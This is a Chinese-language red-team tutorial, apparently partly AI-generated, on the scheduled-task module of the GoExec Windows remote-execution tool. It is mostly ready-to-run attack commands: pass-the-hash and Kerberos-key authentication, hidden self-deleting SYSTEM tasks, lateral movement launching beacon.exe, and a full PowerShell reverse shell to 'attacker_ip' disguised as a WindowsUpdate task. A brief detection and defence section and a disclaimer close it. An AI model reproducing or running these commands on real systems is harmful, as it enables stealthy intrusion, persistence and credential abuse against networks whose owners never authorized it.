GoExec任务计划模块实战:demand与create命令实现无文件落地攻击
GoExec任务计划模块实战:demand与create命令实现无文件落地攻击
【免费下载链接】goexecWindows remote execution multitool项目地址: https://gitcode.com/gh_mirrors/goe/goexec
GoExec是一个功能强大的Windows远程执行工具,专门为红队渗透测试和系统管理员设计,提供了多种无文件落地的远程执行方法。本文将重点介绍GoExec任务计划模块中的demand和create命令,这两个命令利用Windows任务计划服务(MS-TSCH)实现无文件落地攻击,是红队操作中非常实用的技术手段。
📋 任务计划模块简介
GoExec的tsch模块利用Windows任务计划服务(MS-TSCH)在远程目标上执行命令,避免了传统文件落地攻击的痕迹。该模块提供了三种主要方法:
- demand命令- 注册任务并立即启动执行
- create命令- 创建定时任务自动执行
- change命令- 修改现有任务定义
这些方法都通过pkg/goexec/tsch/tsch.go中的XML任务定义机制实现,确保与Windows任务计划服务的完全兼容。
🚀 demand命令:即时任务执行
demand命令的核心优势在于能够立即执行远程任务,无需等待定时触发。让我们深入了解它的工作原理:
核心技术实现
在cmd/tsch.go中,demand命令通过以下关键步骤实现:
// 注册任务定义 path, err := m.registerTask(ctx, ®isterOptions{ AllowStartOnDemand: true, AllowHardTerminate: true, Hidden: !m.NotHidden, triggers: taskTriggers{}, }, execIO)注册成功后,命令调用SchRpcRun强制启动任务:
runResponse, err := m.tsch.Run(ctx, &itaskschedulerservice.RunRequest{ Path: path, Flags: flags, SessionID: m.SessionId, })会话劫持功能
demand命令支持会话劫持,可以指定--session参数在特定桌面会话中执行任务:
# 在会话1中执行notepad.exe goexec tsch demand $target --user "$auth_user" --password "$auth_pass" \ --exec 'notepad.exe' --session 1自动清理机制
默认情况下,任务执行后会自动删除,避免留下痕迹:
if !m.NoDelete { m.AddCleaners(func(ctxInner context.Context) error { return m.deleteTask(ctxInner, path) }) }⏰ create命令:定时任务执行
create命令采用更隐蔽的方式,通过设置定时触发来执行任务,减少了即时网络活动,提高了隐蔽性。
智能定时机制
在pkg/goexec/tsch/create.go中,create命令实现了灵活的定时控制:
startTime := time.Now().UTC().Add(m.StartDelay) stopTime := startTime.Add(m.StopDelay) trigger := taskTimeTrigger{ StartBoundary: startTime.Format(TaskXmlDurationFormat), Enabled: true, }自动删除策略
create命令提供了两种清理方式:
- DeleteExpiredTaskAfter设置- 通过XML配置自动删除
- 直接调用SchRpcDelete- 使用
--call-delete参数
if !m.NoDelete && !m.CallDelete { trigger.EndBoundary = stopTime.Format(TaskXmlDurationFormat) deleteAfter = xmlDuration(m.DeleteDelay) }实战应用示例
# 使用Kerberos认证,创建定时任务执行Seatbelt工具 goexec tsch create "$target" \ --user "${auth_user}@${domain}" \ --dc "$dc_ip" \ --aes-key "$auth_aes" \ --command 'C:\Windows\Temp\Seatbelt.exe -group=system' \ --out ./seatbelt.out \ --out-timeout 5m🔧 任务XML定义详解
GoExec的任务定义在pkg/goexec/tsch/task/task.go中实现,包含完整的任务配置:
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <Triggers> <TimeTrigger> <StartBoundary>2024-01-01T00:00:00Z</StartBoundary> <Enabled>true</Enabled> </TimeTrigger> </Triggers> <Actions Context="Author"> <Exec> <Command>C:\Windows\System32\cmd.exe</Command> <Arguments>/c whoami</Arguments> </Exec> </Actions> <Principals> <Principal id="Author"> <UserId>S-1-5-18</UserId> <RunLevel>HighestAvailable</RunLevel> </Principal> </Principals> <Settings> <AllowStartOnDemand>true</AllowStartOnDemand> <AllowHardTerminate>true</AllowHardTerminate> <Hidden>true</Hidden> </Settings> </Task>🛡️ 安全与隐蔽性设计
1. 无文件落地优势
- 直接在内存中执行命令,不写入磁盘
- 减少防病毒软件检测概率
- 避免留下文件系统痕迹
2. 任务隐藏技术
Settings: taskSettings{ Hidden: !m.NotHidden, AllowStartOnDemand: true, AllowHardTerminate: true, }3. 身份模拟机制
# 使用SYSTEM账户执行 goexec tsch demand $target --user "$auth_user" --password "$auth_pass" \ --exec 'cmd.exe' --args '/c whoami /priv' --sid "S-1-5-18"📊 demand与create命令对比
| 特性 | demand命令 | create命令 |
|---|---|---|
| 执行时机 | 立即执行 | 定时执行 |
| 网络活动 | 立即触发 | 延迟触发 |
| 隐蔽性 | 较低 | 较高 |
| 适用场景 | 快速执行 | 持久化/定时 |
| 自动清理 | 可选 | 自动/可选 |
| 会话劫持 | 支持 | 不支持 |
🎯 实战应用场景
场景1:快速信息收集
# 使用demand命令快速收集系统信息 goexec tsch demand "$target" \ --user "${auth_user}@${domain}" \ --nt-hash "$auth_nt" \ --exec 'C:\Windows\System32\cmd.exe' \ --args '/c systeminfo & whoami /all & netstat -ano' \ --out ./system_info.txt场景2:定时持久化
# 使用create命令设置定时反向shell goexec tsch create "$target" \ --user "$auth_user" \ --password "$auth_pass" \ --task '\Microsoft\Windows\Maintenance\WindowsUpdate' \ --exec 'powershell.exe' \ --args '-nop -c "$client = New-Object System.Net.Sockets.TCPClient(\"attacker_ip\",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"' \ --start-delay 2m \ --delay-stop 30s场景3:权限提升与横向移动
# 结合WMI和任务计划进行横向移动 goexec wmi proc "$target1" \ --user "$admin_user" \ --password "$admin_pass" \ --exec 'goexec.exe' \ --args 'tsch demand $target2 --user "$admin_user" --password "$admin_pass" --exec "C:\\Windows\\Temp\\beacon.exe"'🔍 检测与防御建议
检测指标
- 任务计划日志异常- 监控SchRpcRegisterTask和SchRpcRun调用
- XML任务定义分析- 检查Hidden=true的任务
- SYSTEM账户异常活动- 监控S-1-5-18账户的任务执行
- 网络流量模式- 检测异常的MS-TSCH协议流量
防御措施
- 最小权限原则- 限制任务计划服务权限
- 日志监控- 启用详细的任务计划审计
- 网络分段- 限制任务计划服务的网络访问
- 定期审查- 检查异常任务定义
💡 最佳实践建议
1. 选择合适的执行方法
- 快速执行选
demand,持久化选create - 考虑目标环境的时间同步状态
- 评估网络监控强度
2. 认证方式选择
# Kerberos认证(推荐) goexec tsch demand $target --user "user@domain" --kerberos --dc dc_ip # NTLM哈希认证 goexec tsch create $target --user "user" --nt-hash "ntlm_hash" # 密码认证 goexec tsch change $target --user "user" --password "password"3. 输出收集策略
# 使用SMB收集输出 goexec tsch demand $target --exec "cmd.exe" --args "/c ipconfig" --out - # 保存到文件 goexec tsch create $target --exec "powershell.exe" --args "-c Get-Process" --out ./processes.txt # 延长超时时间 goexec tsch demand $target --exec "long_running.exe" --out-timeout 10m📈 性能优化技巧
1. 减少网络往返
- 使用
--no-delete避免额外的删除调用 - 合理设置
--start-delay和--delay-stop - 批量执行相关命令
2. 错误处理优化
# 启用调试日志 goexec tsch demand $target --debug --exec "cmd.exe" --args "/c net user" # 使用重试机制 for i in {1..3}; do goexec tsch create $target --exec "payload.exe" && break sleep 5 done🎓 总结
GoExec的tsch模块通过demand和create命令提供了两种强大的无文件落地攻击方式。demand命令适合需要立即执行的场景,而create命令更适合持久化和定时任务。两者的核心都在于利用Windows任务计划服务的合法功能实现隐蔽执行,避免了传统文件落地攻击的检测风险。
通过合理配置任务参数、选择适当的认证方式和优化执行策略,红队成员可以有效地利用这些工具进行渗透测试和权限维持。同时,防御方也应了解这些技术的工作原理,以便更好地检测和防御此类攻击。
记住,这些技术仅应用于授权的安全测试和合法的系统管理场景。在实际使用中,请确保遵守相关法律法规和授权范围。
【免费下载链接】goexecWindows remote execution multitool项目地址: https://gitcode.com/gh_mirrors/goe/goexec
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考